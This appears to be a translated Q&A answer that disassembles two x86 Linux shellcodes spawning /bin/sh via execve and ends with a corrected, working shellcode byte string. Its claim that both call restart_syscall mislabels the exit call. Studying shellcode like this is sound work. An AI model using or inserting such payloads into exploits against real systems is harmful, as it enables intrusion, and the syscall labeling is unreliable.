它们都有相似的目的并使用相同的系统调用(execve和restart_syscall),它们在操作上没有区别(只是编程风格)。在第二个 shellcode 中,您可以轻松更改可执行命令。另一方面,如果您写入有效负载的缓冲区大小有限,则第一个更紧凑。
$0x68732f2f
不是地址,它是//sh
传递给中断的字符串,所以它与 ASLR 和 PIE 无关
[0x00000000]> pd # shellcode1
0x00000000 31c0 xor eax, eax
0x00000002 50 push eax
0x00000003 682f2f7368 push 0x68732f2f ; '//sh'
0x00000008 682f62696e push 0x6e69622f ; '/bin'
0x0000000d 89e3 mov ebx, esp ; copy string (command) address in ebx
0x0000000f 89c1 mov ecx, eax
0x00000011 89c2 mov edx, eax
0x00000013 b00b mov al, 0xb ; 11
0x00000015 cd80 int 0x80 ; execve()
0x00000017 31c0 xor eax, eax
0x00000019 40cd80 int 0x80 ; restart_syscall()
[0x00000000]> pd # shellcode2
,=< 0x00000000 eb1f jmp 0x21
| 0x00000002 5e pop esi
| 0x00000003 897608 mov dword [esi + 8], esi
| 0x00000006 31c0 xor eax, eax
| 0x00000008 884607 mov byte [esi + 7], al
| 0x0000000b 89460c mov dword [esi + 0xc], eax
| 0x0000000e b00b mov al, 0xb ; 11
| 0x00000010 89f3 mov ebx, esi ; copy string (command) address in ebx
| 0x00000012 8d4e08 lea ecx, [esi + 8] ; 8
| 0x00000015 8d560c lea edx, [esi + 0xc] ; 12
| 0x00000018 cd80 int 0x80 ; execve()
| 0x0000001a 31db xor ebx, ebx
| 0x0000001c 89d8 mov eax, ebx
| 0x0000001e 40cd80 int 0x80 ; restart_syscall()
`-> 0x00000021 e8dcffffff call 2 ; push string (command) address to stack and jump to 0x00000002 (0x00000025 must be start of command's string)
更新:问题中修复的 shellcode 问题
你的第二个 shellcode 是不完整的,因为在你调用之后你必须将你的命令作为一个字符串,并且调用指令用于将字符串的地址推送到内存中。
这是你的第二个 shellcode 的固定版本。
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"